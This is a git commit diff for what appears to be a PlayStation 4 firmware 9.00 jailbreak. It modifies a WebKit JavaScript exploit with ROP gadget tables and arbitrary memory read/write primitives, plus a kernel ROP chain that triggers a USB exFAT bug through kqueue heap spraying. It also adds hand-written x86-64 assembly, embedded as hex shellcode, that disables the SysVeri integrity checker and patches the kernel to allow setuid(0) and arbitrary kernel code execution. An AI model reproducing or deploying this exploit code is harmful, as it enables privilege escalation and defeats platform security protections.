* how did this ever work?

- kill sysveri even more and leave no witnesses.
- fix a bug that somehow wasn't breaking anything?
- fix a rop bug regarding sys-v stack alignment.
- provide more krop helper functions.
- provide a smaller img (0x1800 bytes, also very compressible). see [#29] [#31]
- add wk expl sanity check.
- make sure pages accessed by kernel are locked.
- try to reduce time spent with interrupts disabled.

- @@@ Note: extensive testing has not been performed. it might be worse so panic at your own risk! @@@
This commit is contained in:
Chendo 2022-01-17 02:52:08 +01:00
parent 8a92cf331b
commit 886f4a07d0
6 changed files with 640 additions and 44 deletions

View File

@ -12,7 +12,7 @@ The following patches are applied to the kernel:
4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode 4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode
5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation. 5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation.
6) (`sys_dynlib_load_prx`) patch 6) (`sys_dynlib_load_prx`) patch
7) Disable delayed panics from sysVeri 7) Disables sysVeri
## Short how-to ## Short how-to
This exploit is unlike previous ones where they were based purely in software. Triggering the vulnerability requires plugging in a specially formatted USB device at just the right time. In the repository you'll find a .img file. You can write this .img to a USB using something like Win32DiskImager. This exploit is unlike previous ones where they were based purely in software. Triggering the vulnerability requires plugging in a specially formatted USB device at just the right time. In the repository you'll find a .img file. You can write this .img to a USB using something like Win32DiskImager.

BIN
exfathax_pico.img Normal file

Binary file not shown.

View File

@ -66,7 +66,9 @@ var wk_gadgetmap = {
"add rax, rcx": 0x2FBCD, "add rax, rcx": 0x2FBCD,
"mov rsp, rdi": 0x2048062, "mov rsp, rdi": 0x2048062,
"mov rdi, [rax + 8] ; call [rax]": 0x751EE7, "mov rdi, [rax + 8] ; call [rax]": 0x751EE7,
"infloop": 0x7DFF "infloop": 0x7DFF,
"mov [rax], cl": 0xC6EAF,
}; };
var wkr_gadgetmap = { var wkr_gadgetmap = {
@ -76,6 +78,7 @@ var wkr_gadgetmap = {
var wk2_gadgetmap = { var wk2_gadgetmap = {
"mov [rax], rdi": 0xFFDD7, "mov [rax], rdi": 0xFFDD7,
"mov [rax], rcx": 0x2C9ECA, "mov [rax], rcx": 0x2C9ECA,
"mov [rax], cx": 0x15A7D52,
}; };
var hmd_gadgetmap = { var hmd_gadgetmap = {
"add [r8], r12": 0x2BCE1 "add [r8], r12": 0x2BCE1
@ -96,10 +99,6 @@ function userland() {
p.array_from_address = array_from_address; p.array_from_address = array_from_address;
p.readstr = readstr; p.readstr = readstr;
var textAreaAddr = p.leakval(textArea);
var textAreVtablePtrPtr = textAreaAddr.add32(0x18);
var textAreaVtPtr = p.read8(textAreVtablePtrPtr);
//pointer to vtable address //pointer to vtable address
var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18)); var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
//address of vtable //address of vtable
@ -153,7 +152,8 @@ function userland() {
var og_array_i = p.leakval(og_array).add32(0x10); var og_array_i = p.leakval(og_array).add32(0x10);
p.write8(og_array_i, addr); p.write8(og_array_i, addr);
p.write4(og_array_i.add32(8), size); p.write4(og_array_i.add32(0x8), size);
p.write4(og_array_i.add32(0xC), 0x1);
nogc.push(og_array); nogc.push(og_array);
return og_array; return og_array;
@ -181,17 +181,6 @@ function userland() {
return str; return str;
} }
function array_from_address(addr, size) {
var og_array = new Uint32Array(0x1000);
var og_array_i = p.leakval(og_array).add32(0x10);
p.write8(og_array_i, addr);
p.write4(og_array_i.add32(8), size);
nogc.push(og_array);
return og_array;
}
var fakeVtable_setjmp = p.malloc32(0x200); var fakeVtable_setjmp = p.malloc32(0x200);
var fakeVtable_longjmp = p.malloc32(0x200); var fakeVtable_longjmp = p.malloc32(0x200);
var original_context = p.malloc32(0x40); var original_context = p.malloc32(0x40);
@ -255,6 +244,12 @@ function userland() {
p.write8(kstr, orig_kview_buf); p.write8(kstr, orig_kview_buf);
chain = new rop(); chain = new rop();
//Sanity check
if (chain.syscall(20).low == 0) {
alert("webkit exploit failed. Try again if your ps4 is on fw 9.00.");
while (1);
}
} }
function run_hax() { function run_hax() {
@ -265,8 +260,7 @@ function run_hax() {
//p.write8(0x0, 0x0); //write to 0x0 -> kill browser. //p.write8(0x0, 0x0); //write to 0x0 -> kill browser.
} }
//tries to map at 0x926200000 because there's still idk how many payloads that have it hardcoded like that. No MAP_FIXED for them though... var payload_buffer = chain.syscall(477, 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0);
var payload_buffer = chain.syscall(477, new int64(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
var payload_loader = p.malloc32(0x1000); var payload_loader = p.malloc32(0x1000);
//NOTE: You can replace this with a payload instead of the loader. //NOTE: You can replace this with a payload instead of the loader.
@ -339,7 +333,14 @@ function run_hax() {
chain.syscall(74, payload_loader, 0x4000, (0x1 | 0x2 | 0x4)); chain.syscall(74, payload_loader, 0x4000, (0x1 | 0x2 | 0x4));
var pthread = p.malloc(0x10); var pthread = p.malloc(0x10);
chain.call(libKernelBase.add32(OFFSET_lk_pthread_create), pthread, 0x0, payload_loader, payload_buffer); //
{
chain.fcall(window.syscalls[203], payload_buffer, 0x300000);
chain.fcall(libKernelBase.add32(OFFSET_lk_pthread_create), pthread, 0x0, payload_loader, payload_buffer);
}
chain.run();
awaitpl(); awaitpl();
} }
@ -348,6 +349,7 @@ function kernel() {
kchain_setup(); kchain_setup();
object_setup(); object_setup();
trigger_spray(); trigger_spray();
patch_once();
} }
var handle; var handle;
@ -381,11 +383,13 @@ function load_prx(name) {
//Obtain extra gadgets through module loading //Obtain extra gadgets through module loading
function extra_gadgets() { function extra_gadgets() {
handle = p.malloc(0x150); handle = p.malloc(0x1E8);
var randomized_path_ptr = handle.add32(0x4); var randomized_path_length_ptr = handle.add32(0x4);
ex_info = randomized_path_ptr.add32(0x30); var randomized_path_ptr = handle.add32(0x14);
ex_info = randomized_path_ptr.add32(0x40);
chain.syscall(602, 0, randomized_path_ptr); p.write8(randomized_path_length_ptr, 0x2C);
chain.syscall(602, 0, randomized_path_ptr, randomized_path_length_ptr);
random_path = p.readstr(randomized_path_ptr); random_path = p.readstr(randomized_path_ptr);
var ipmi_addr = load_prx("libSceIpmi.sprx"); var ipmi_addr = load_prx("libSceIpmi.sprx");
@ -404,11 +408,24 @@ function extra_gadgets() {
for (var gadget in window.gadgets) { for (var gadget in window.gadgets) {
p.read8(window.gadgets[gadget]); p.read8(window.gadgets[gadget]);
//Ensure all gadgets are available to kernel.
chain.fcall(window.syscalls[203], window.gadgets[gadget], 0x10);
} }
chain.run();
} }
//Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack. //Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack.
function kchain_setup() { function kchain_setup() {
const KERNEL_busy = 0x1B28DF8;
const KERNEL_bcopy = 0xACD;
const KERNEL_bzero = 0x2713FD;
const KERNEL_pagezero = 0x271441;
const KERNEL_memcpy = 0x2714BD;
const KERNEL_pagecopy = 0x271501;
const KERNEL_copyin = 0x2716AD;
const KERNEL_copyinstr = 0x271B5D;
const KERNEL_copystr = 0x271C2D;
const KERNEL_setidt = 0x312c40; const KERNEL_setidt = 0x312c40;
const KERNEL_setcr0 = 0x1FB949; const KERNEL_setcr0 = 0x1FB949;
const KERNEL_Xill = 0x17d500; const KERNEL_Xill = 0x17d500;
@ -421,14 +438,13 @@ function kchain_setup() {
const KERNEL_prx = 0x23AEC4; const KERNEL_prx = 0x23AEC4;
const KERNEL_dlsym_1 = 0x23B67F; const KERNEL_dlsym_1 = 0x23B67F;
const KERNEL_dlsym_2 = 0x221b40; const KERNEL_dlsym_2 = 0x221b40;
const KERNEL_setuid = 0x1A06; const KERNEL_setuid = 0x1A06;
const KERNEL_syscall11_1 = 0x1100520; const KERNEL_syscall11_1 = 0x1100520;
const KERNEL_syscall11_2 = 0x1100528; const KERNEL_syscall11_2 = 0x1100528;
const KERNEL_syscall11_3 = 0x110054C; const KERNEL_syscall11_3 = 0x110054C;
const KERNEL_syscall11_gadget = 0x4c7ad; const KERNEL_syscall11_gadget = 0x4c7ad;
const KERNEL_mmap = 0x16632A; const KERNEL_mmap_1 = 0x16632A;
const KERNEL_mmap_2 = 0x16632D;
const KERNEL_setcr0_patch = 0x3ade3B; const KERNEL_setcr0_patch = 0x3ade3B;
const KERNEL_kqueue_close_epi = 0x398991; const KERNEL_kqueue_close_epi = 0x398991;
@ -441,6 +457,13 @@ function kchain_setup() {
kchain = new rop(); kchain = new rop();
kchain2 = new rop(); kchain2 = new rop();
//Ensure the krop stack remains available.
{
chain.fcall(window.syscalls[203], kchain.stackback, 0x40000);
chain.fcall(window.syscalls[203], kchain2.stackback, 0x40000);
chain.fcall(window.syscalls[203], SAVED_KERNEL_STACK_PTR, 0x10);
}
chain.run();
kchain.count = 0; kchain.count = 0;
kchain2.count = 0; kchain2.count = 0;
@ -455,6 +478,9 @@ function kchain_setup() {
kchain.push(KERNEL_BASE_PTR); kchain.push(KERNEL_BASE_PTR);
kchain.push(gadgets["add [r8], r12"]); kchain.push(gadgets["add [r8], r12"]);
//Sorry we're closed
kchain.kwrite1(KERNEL_busy, 0x1);
kchain.push(gadgets["sti"]); //it should be safe to re-enable interrupts now.
var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt); var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt);
@ -483,8 +509,23 @@ function kchain_setup() {
kchain.finalizeSymbolic(idx1, idx1_dest); kchain.finalizeSymbolic(idx1, idx1_dest);
kchain.finalizeSymbolic(idx2, idx2_dest); kchain.finalizeSymbolic(idx2, idx2_dest);
//Restore original UD
//Initial patch(es)
kchain2.kwrite2(KERNEL_veriPatch, 0x9090);
kchain2.kwrite1(KERNEL_bcopy, 0xEB);
//might as well do the others
kchain2.kwrite1(KERNEL_bzero, 0xEB);
kchain2.kwrite1(KERNEL_pagezero, 0xEB);
kchain2.kwrite1(KERNEL_memcpy, 0xEB);
kchain2.kwrite1(KERNEL_pagecopy, 0xEB);
kchain2.kwrite1(KERNEL_copyin, 0xEB);
kchain2.kwrite1(KERNEL_copyinstr, 0xEB);
kchain2.kwrite1(KERNEL_copystr, 0xEB);
//I guess you're not all that bad...
kchain2.kwrite1(KERNEL_busy, 0x0); //it should now be safe to handle timer-y interrupts again
//Restore original UD
var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill); var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill);
var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt); var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt);
kchain2.push(gadgets["pop rdi"]); kchain2.push(gadgets["pop rdi"]);
@ -505,22 +546,20 @@ function kchain_setup() {
kchain2.finalizeSymbolic(idx4, idx4_dest); kchain2.finalizeSymbolic(idx4, idx4_dest);
//Apply kernel patches //Apply kernel patches
kchain2.kwrite4(KERNEL_veriPatch, 0x83489090);
kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000); kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000);
//patch in reverse because /shrug //patch in reverse because /shrug
kchain2.kwrite4(KERNEL_enable_syscalls_4, 0x04EB69EB); kchain2.kwrite1(KERNEL_enable_syscalls_4, 0xEB);
kchain2.kwrite4(KERNEL_enable_syscalls_3, 0x3B489090); kchain2.kwrite2(KERNEL_enable_syscalls_3, 0x9090);
kchain2.kwrite4(KERNEL_enable_syscalls_2, 0xC9859090); kchain2.kwrite2(KERNEL_enable_syscalls_2, 0x9090);
kchain2.kwrite4(KERNEL_setuid, 0x8B482AEB); kchain2.kwrite1(KERNEL_setuid, 0xEB);
kchain2.kwrite4(KERNEL_mprotect, 0x00000000); kchain2.kwrite4(KERNEL_mprotect, 0x00000000);
kchain2.kwrite4(KERNEL_prx, 0x00C0E990); kchain2.kwrite2(KERNEL_prx, 0xE990);
kchain2.kwrite4(KERNEL_dlsym_1, 0x8B484CEB); kchain2.kwrite1(KERNEL_dlsym_1, 0xEB);
kchain2.kwrite4(KERNEL_dlsym_2, 0xC3C03148); kchain2.kwrite4(KERNEL_dlsym_2, 0xC3C03148);
kchain2.kwrite4(KERNEL_mmap, 0x37B24137); kchain2.kwrite1(KERNEL_mmap_1, 0x37);
kchain2.kwrite1(KERNEL_mmap_2, 0x37);
kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002); kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002);
kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget); kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget);
@ -535,7 +574,6 @@ function kchain_setup() {
kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch
kchain2.finalizeSymbolic(idx5, idx5_dest); kchain2.finalizeSymbolic(idx5, idx5_dest);
//Recover //Recover
kchain2.rax_kernel(KERNEL_kqueue_close_epi); kchain2.rax_kernel(KERNEL_kqueue_close_epi);
kchain2.push(gadgets["mov rdx, rax"]); kchain2.push(gadgets["mov rdx, rax"]);
@ -558,7 +596,7 @@ function kchain_setup() {
function object_setup() { function object_setup() {
//Map fake object //Map fake object
var fake_knote = chain.syscall(477, 0x4000, 0x4000 * 0x3, 0x3, 0x1012, 0xFFFFFFFF, 0x0); var fake_knote = chain.syscall(477, 0x4000, 0x4000 * 0x3, 0x3, 0x1010, 0xFFFFFFFF, 0x0);
var fake_filtops = fake_knote.add32(0x4000); var fake_filtops = fake_knote.add32(0x4000);
var fake_obj = fake_knote.add32(0x8000); var fake_obj = fake_knote.add32(0x8000);
if (fake_knote.low != 0x4000) { if (fake_knote.low != 0x4000) {
@ -582,6 +620,8 @@ function object_setup() {
{ {
p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax] p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax]
} }
//Ensure the fake knote remains available
chain.syscall(203, fake_knote, 0xC000);
} }
var trigger_spray = function () { var trigger_spray = function () {
@ -610,7 +650,9 @@ var trigger_spray = function () {
p.write4(kevent.add32(0x8), 0xFFFF + 0x010000); p.write4(kevent.add32(0x8), 0xFFFF + 0x010000);
p.write4(kevent.add32(0xC), 0x0); p.write4(kevent.add32(0xC), 0x0);
p.write8(kevent.add32(0x10), 0x0); p.write8(kevent.add32(0x10), 0x0);
p.write8(kevent.add32(0x18), 0x0); { p.write8(kevent.add32(0x18), 0x0);
//
{
for (var i = 0; i < NUM_KQUEUES; i++) { for (var i = 0; i < NUM_KQUEUES; i++) {
chain.fcall(window.syscalls[363], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0); chain.fcall(window.syscalls[363], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0);
} }
@ -621,7 +663,7 @@ var trigger_spray = function () {
//Fragment memory //Fragment memory
{ {
for (var i = 20; i < NUM_KQUEUES; i += 2) { for (var i = 18; i < NUM_KQUEUES; i += 2) {
chain.fcall(window.syscalls[6], kqueues[i]); chain.fcall(window.syscalls[6], kqueues[i]);
} }
} }
@ -636,7 +678,14 @@ var trigger_spray = function () {
} }
} }
chain.run(); chain.run();
if (chain.syscall(23, 0).low == 0) { if (chain.syscall(23, 0).low == 0) {
{
//cleanup fake knote & release locked gadgets/stack.
chain.fcall(window.syscalls[73], 0x4000, 0xC000);
chain.fcall(window.syscalls[325]);
}
chain.run();
return; return;
} }
alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all. alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all.
@ -645,3 +694,254 @@ var trigger_spray = function () {
p.write8(0, 0); p.write8(0, 0);
return; return;
} }
//This disables sysveri, see patch.s for more info
var patch_once = function () {
var patch_buffer = chain.syscall(477, 0x0, 0x4000, 0x7, 0x1000, 0xFFFFFFFF, 0);
var patch_buffer_view = p.array_from_address(patch_buffer, 0x1000);
patch_buffer_view[0] = 0x00000BB8;
patch_buffer_view[1] = 0xFE894800;
patch_buffer_view[2] = 0x033D8D48;
patch_buffer_view[3] = 0x0F000000;
patch_buffer_view[4] = 0x4855C305;
patch_buffer_view[5] = 0x8B48E589;
patch_buffer_view[6] = 0x95E8087E;
patch_buffer_view[7] = 0xE8000000;
patch_buffer_view[8] = 0x00000175;
patch_buffer_view[9] = 0x033615FF;
patch_buffer_view[10] = 0x8B480000;
patch_buffer_view[11] = 0x0003373D;
patch_buffer_view[12] = 0x3F8B4800;
patch_buffer_view[13] = 0x74FF8548;
patch_buffer_view[14] = 0x3D8D48EB;
patch_buffer_view[15] = 0x0000029D;
patch_buffer_view[16] = 0xF9358B48;
patch_buffer_view[17] = 0x48000002;
patch_buffer_view[18] = 0x0322158B;
patch_buffer_view[19] = 0x8B480000;
patch_buffer_view[20] = 0x00D6E812;
patch_buffer_view[21] = 0x8D480000;
patch_buffer_view[22] = 0x00029F3D;
patch_buffer_view[23] = 0x358B4800;
patch_buffer_view[24] = 0x000002E4;
patch_buffer_view[25] = 0x05158B48;
patch_buffer_view[26] = 0x48000003;
patch_buffer_view[27] = 0xB9E8128B;
patch_buffer_view[28] = 0x48000000;
patch_buffer_view[29] = 0x02633D8D;
patch_buffer_view[30] = 0x8B480000;
patch_buffer_view[31] = 0x0002BF35;
patch_buffer_view[32] = 0x158B4800;
patch_buffer_view[33] = 0x000002C8;
patch_buffer_view[34] = 0xE8128B48;
patch_buffer_view[35] = 0x0000009C;
patch_buffer_view[36] = 0x7A3D8D48;
patch_buffer_view[37] = 0x48000002;
patch_buffer_view[38] = 0x02AA358B;
patch_buffer_view[39] = 0x8B480000;
patch_buffer_view[40] = 0x0002AB15;
patch_buffer_view[41] = 0x128B4800;
patch_buffer_view[42] = 0x00007FE8;
patch_buffer_view[43] = 0x0185E800;
patch_buffer_view[44] = 0xC35D0000;
patch_buffer_view[45] = 0x6D3D8948;
patch_buffer_view[46] = 0x48000002;
patch_buffer_view[47] = 0x026E3D01;
patch_buffer_view[48] = 0x01480000;
patch_buffer_view[49] = 0x00026F3D;
patch_buffer_view[50] = 0x3D014800;
patch_buffer_view[51] = 0x00000270;
patch_buffer_view[52] = 0x713D0148;
patch_buffer_view[53] = 0x48000002;
patch_buffer_view[54] = 0x02723D01;
patch_buffer_view[55] = 0x01480000;
patch_buffer_view[56] = 0x0002933D;
patch_buffer_view[57] = 0x3D014800;
patch_buffer_view[58] = 0x00000294;
patch_buffer_view[59] = 0x653D0148;
patch_buffer_view[60] = 0x48000002;
patch_buffer_view[61] = 0x02663D01;
patch_buffer_view[62] = 0x01480000;
patch_buffer_view[63] = 0x0002873D;
patch_buffer_view[64] = 0x3D014800;
patch_buffer_view[65] = 0x00000288;
patch_buffer_view[66] = 0x893D0148;
patch_buffer_view[67] = 0x48000002;
patch_buffer_view[68] = 0x028A3D01;
patch_buffer_view[69] = 0x01480000;
patch_buffer_view[70] = 0x00028B3D;
patch_buffer_view[71] = 0x3D014800;
patch_buffer_view[72] = 0x0000024C;
patch_buffer_view[73] = 0x3D3D0148;
patch_buffer_view[74] = 0xC3000002;
patch_buffer_view[75] = 0xE5894855;
patch_buffer_view[76] = 0x10EC8348;
patch_buffer_view[77] = 0x24348948;
patch_buffer_view[78] = 0x24548948;
patch_buffer_view[79] = 0xED15FF08;
patch_buffer_view[80] = 0x48000001;
patch_buffer_view[81] = 0x4B74C085;
patch_buffer_view[82] = 0x48C28948;
patch_buffer_view[83] = 0x4840408B;
patch_buffer_view[84] = 0x2F74C085;
patch_buffer_view[85] = 0x28788B48;
patch_buffer_view[86] = 0x243C3B48;
patch_buffer_view[87] = 0x8B480A74;
patch_buffer_view[88] = 0xC0854800;
patch_buffer_view[89] = 0xECEB1D74;
patch_buffer_view[90] = 0x18788B48;
patch_buffer_view[91] = 0x74FF8548;
patch_buffer_view[92] = 0x7F8B48ED;
patch_buffer_view[93] = 0x7C3B4810;
patch_buffer_view[94] = 0xE2750824;
patch_buffer_view[95] = 0xFF1040C7;
patch_buffer_view[96] = 0x48FFFFFF;
patch_buffer_view[97] = 0x31107A8D;
patch_buffer_view[98] = 0x31D231F6;
patch_buffer_view[99] = 0xA515FFC9;
patch_buffer_view[100] = 0x48000001;
patch_buffer_view[101] = 0x5D10C483;
patch_buffer_view[102] = 0x894855C3;
patch_buffer_view[103] = 0xC0200FE5;
patch_buffer_view[104] = 0xFFFF2548;
patch_buffer_view[105] = 0x220FFFFE;
patch_buffer_view[106] = 0x3D8B48C0;
patch_buffer_view[107] = 0x000001C8;
patch_buffer_view[108] = 0x909007C7;
patch_buffer_view[109] = 0x47C79090;
patch_buffer_view[110] = 0x48909004;
patch_buffer_view[111] = 0x358B48B8;
patch_buffer_view[112] = 0x000001AC;
patch_buffer_view[113] = 0x08778948;
patch_buffer_view[114] = 0x651047C7;
patch_buffer_view[115] = 0xC73C8B48;
patch_buffer_view[116] = 0x00251447;
patch_buffer_view[117] = 0x47C70000;
patch_buffer_view[118] = 0x89480018;
patch_buffer_view[119] = 0x1C47C738;
patch_buffer_view[120] = 0xB8489090;
patch_buffer_view[121] = 0x7D358B48;
patch_buffer_view[122] = 0x48000001;
patch_buffer_view[123] = 0xC7207789;
patch_buffer_view[124] = 0xC7482847;
patch_buffer_view[125] = 0x47C70100;
patch_buffer_view[126] = 0x0000002C;
patch_buffer_view[127] = 0x778D48E9;
patch_buffer_view[128] = 0x158B4834;
patch_buffer_view[129] = 0x00000150;
patch_buffer_view[130] = 0x89F22948;
patch_buffer_view[131] = 0x8B483057;
patch_buffer_view[132] = 0x00016B35;
patch_buffer_view[133] = 0x568D4800;
patch_buffer_view[134] = 0xD7294805;
patch_buffer_view[135] = 0xC148FF89;
patch_buffer_view[136] = 0x814808E7;
patch_buffer_view[137] = 0x0000E9CF;
patch_buffer_view[138] = 0x3E894800;
patch_buffer_view[139] = 0x00000D48;
patch_buffer_view[140] = 0x220F0001;
patch_buffer_view[141] = 0x55C35DC0;
patch_buffer_view[142] = 0x0FE58948;
patch_buffer_view[143] = 0x2548C020;
patch_buffer_view[144] = 0xFFFEFFFF;
patch_buffer_view[145] = 0x48C0220F;
patch_buffer_view[146] = 0x013A3D8B;
patch_buffer_view[147] = 0x07C70000;
patch_buffer_view[148] = 0x00C3C031;
patch_buffer_view[149] = 0x353D8B48;
patch_buffer_view[150] = 0xC7000001;
patch_buffer_view[151] = 0xC3C03107;
patch_buffer_view[152] = 0x3D8B4800;
patch_buffer_view[153] = 0x00000130;
patch_buffer_view[154] = 0xC03107C7;
patch_buffer_view[155] = 0x8B4800C3;
patch_buffer_view[156] = 0x00012B3D;
patch_buffer_view[157] = 0x3107C700;
patch_buffer_view[158] = 0x4800C3C0;
patch_buffer_view[159] = 0x00A63D8B;
patch_buffer_view[160] = 0x87C70000;
patch_buffer_view[161] = 0x001F1E01;
patch_buffer_view[162] = 0x9090F631;
patch_buffer_view[163] = 0x1E0587C7;
patch_buffer_view[164] = 0xC931001F;
patch_buffer_view[165] = 0x87C79090;
patch_buffer_view[166] = 0x001F1E09;
patch_buffer_view[167] = 0x9090D231;
patch_buffer_view[168] = 0x1E3E87C7;
patch_buffer_view[169] = 0xC931001F;
patch_buffer_view[170] = 0x0D489090;
patch_buffer_view[171] = 0x00010000;
patch_buffer_view[172] = 0xFFC0220F;
patch_buffer_view[173] = 0x0000EF15;
patch_buffer_view[174] = 0xC0200F00;
patch_buffer_view[175] = 0xFFFF2548;
patch_buffer_view[176] = 0x220FFFFE;
patch_buffer_view[177] = 0x3D8B48C0;
patch_buffer_view[178] = 0x000000DC;
patch_buffer_view[179] = 0xC03107C7;
patch_buffer_view[180] = 0x0D4800C3;
patch_buffer_view[181] = 0x00010000;
patch_buffer_view[182] = 0x5DC0220F;
patch_buffer_view[183] = 0x737973C3;
patch_buffer_view[184] = 0x5F6D6574;
patch_buffer_view[185] = 0x70737573;
patch_buffer_view[186] = 0x5F646E65;
patch_buffer_view[187] = 0x73616870;
patch_buffer_view[188] = 0x705F3265;
patch_buffer_view[189] = 0x735F6572;
patch_buffer_view[190] = 0x00636E79;
patch_buffer_view[191] = 0x74737973;
patch_buffer_view[192] = 0x725F6D65;
patch_buffer_view[193] = 0x6D757365;
patch_buffer_view[194] = 0x68705F65;
patch_buffer_view[195] = 0x32657361;
patch_buffer_view[196] = 0x73797300;
patch_buffer_view[197] = 0x5F6D6574;
patch_buffer_view[198] = 0x75736572;
patch_buffer_view[199] = 0x705F656D;
patch_buffer_view[200] = 0x65736168;
patch_buffer_view[201] = 0x90900033;
patch_buffer_view[202] = 0x00000000;
patch_buffer_view[203] = 0x00000000;
patch_buffer_view[204] = 0x000F88F0;
patch_buffer_view[205] = 0x00000000;
patch_buffer_view[206] = 0x002EF170;
patch_buffer_view[207] = 0x00000000;
patch_buffer_view[208] = 0x00018DF0;
patch_buffer_view[209] = 0x00000000;
patch_buffer_view[210] = 0x00018EF0;
patch_buffer_view[211] = 0x00000000;
patch_buffer_view[212] = 0x02654110;
patch_buffer_view[213] = 0x00000000;
patch_buffer_view[214] = 0x00097230;
patch_buffer_view[215] = 0x00000000;
patch_buffer_view[216] = 0x00402E60;
patch_buffer_view[217] = 0x00000000;
patch_buffer_view[218] = 0x01520108;
patch_buffer_view[219] = 0x00000000;
patch_buffer_view[220] = 0x01520100;
patch_buffer_view[221] = 0x00000000;
patch_buffer_view[222] = 0x00462D20;
patch_buffer_view[223] = 0x00000000;
patch_buffer_view[224] = 0x00462DFC;
patch_buffer_view[225] = 0x00000000;
patch_buffer_view[226] = 0x006259A0;
patch_buffer_view[227] = 0x00000000;
patch_buffer_view[228] = 0x006268D0;
patch_buffer_view[229] = 0x00000000;
patch_buffer_view[230] = 0x00625DC0;
patch_buffer_view[231] = 0x00000000;
patch_buffer_view[232] = 0x00626290;
patch_buffer_view[233] = 0x00000000;
patch_buffer_view[234] = 0x00626720;
patch_buffer_view[235] = 0x00000000;
//lock payload / call payload / release payload
{
chain.fcall(window.syscalls[203], patch_buffer, 0x4000);
chain.fcall(patch_buffer, p.read8(KERNEL_BASE_PTR));
chain.fcall(window.syscalls[73], patch_buffer, 0x4000);
}
chain.run();
}

274
patch.s Normal file
View File

@ -0,0 +1,274 @@
BITS 64
DEFAULT REL
; Kill sysveri, kill its family, kill its friends, kill it all!
; asm by me.
;(void* kernelbase)
userland:
mov eax, 0xB
mov rsi, rdi
lea rdi, [kernel]
syscall
ret
; (struct thread*, void* uap)
; *(uap + 0x8) == kernelbase
kernel:
push rbp
mov rbp, rsp
mov rdi, qword [rsi + 0x8]
;call get_kernel_base
;mov rdi, rax
call init_globals
call write_swd_patch
_swd_loop:
call [ksched_yield]
mov rdi, qword [swd_flag]
mov rdi, [rdi]
test rdi, rdi
jz _swd_loop
lea rdi, [event1]
mov rsi, qword [ktdsuspend_global_eventhandler_iterator_func]
mov rdx, qword [swd_thread]
mov rdx, qword [rdx]
call remove_suspend_resume_event
lea rdi, [event2]
mov rsi, qword [ktdresume_global_eventhandler_iterator_func]
mov rdx, qword [swd_thread]
mov rdx, qword [rdx]
call remove_suspend_resume_event
lea rdi, [event1]
mov rsi, qword [ktdsuspend_global_eventhandler_iterator_func]
mov rdx, qword [SceSblSysVeriThrGlobal]
mov rdx, qword [rdx]
call remove_suspend_resume_event
lea rdi, [event3]
mov rsi, qword [ktdresume_global_eventhandler_iterator_func]
mov rdx, qword [SceSblSysVeriThrGlobal]
mov rdx, qword [rdx]
call remove_suspend_resume_event
call write_veri_patch
pop rbp
ret
; (void* kernelbase)
init_globals:
mov qword [kernelbase], rdi
add qword [eventhandler_find_list], rdi
add qword [_mtx_unlock_flags], rdi
add qword [ktdsuspend_global_eventhandler_iterator_func], rdi
add qword [ktdresume_global_eventhandler_iterator_func], rdi
add qword [SceSblSysVeriThrGlobal], rdi
add qword [swd_patch_1], rdi
add qword [swd_patch_2], rdi
add qword [kthread_exit], rdi
add qword [ksched_yield], rdi
add qword [veri_pfs_patch], rdi
add qword [veri_sbl_patch], rdi
add qword [veri_loadable_patch], rdi
add qword [veri_init_patch], rdi
add qword [veri_shutdown], rdi
add qword [swd_thread], rdi
add qword [swd_flag], rdi
ret
; (const char* name, void* handler, void* thread)
remove_suspend_resume_event:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x0], rsi
mov qword [rsp + 0x8], rdx
call [eventhandler_find_list]
test rax, rax
jz _remove_suspend_resume_event_end
mov rdx, rax
mov rax, qword [rax + 0x40]
test rax, rax
jz _remove_suspend_resume_event_cleanup
_remove_suspend_resume_event_loop_start:
mov rdi, qword [rax + 0x28]
cmp rdi, qword [rsp]
jz _remove_suspend_resume_event_loop_check
_remove_suspend_resume_event_loop_next:
mov rax, qword [rax]
test rax, rax
jz _remove_suspend_resume_event_cleanup
jmp _remove_suspend_resume_event_loop_start
_remove_suspend_resume_event_loop_check:
mov rdi, qword [rax + 0x18]
test rdi, rdi
jz _remove_suspend_resume_event_loop_next
mov rdi, qword [rdi + 0x10]
cmp rdi, qword [rsp + 0x8]
jnz _remove_suspend_resume_event_loop_next
_remove_suspend_resume_event_loop_found:
mov dword [rax + 0x10], 0xFFFFFFFF
_remove_suspend_resume_event_cleanup:
lea rdi, [rdx + 0x10]
xor esi, esi
xor edx, edx
xor ecx, ecx
call [_mtx_unlock_flags]
_remove_suspend_resume_event_end:
add rsp, 0x10
pop rbp
ret
; patch1
; nop
; nop
; nop
; nop
; nop
; nop
; movabs rax, swd_thread
; mov rdi, qword ptr gs:[0x0]
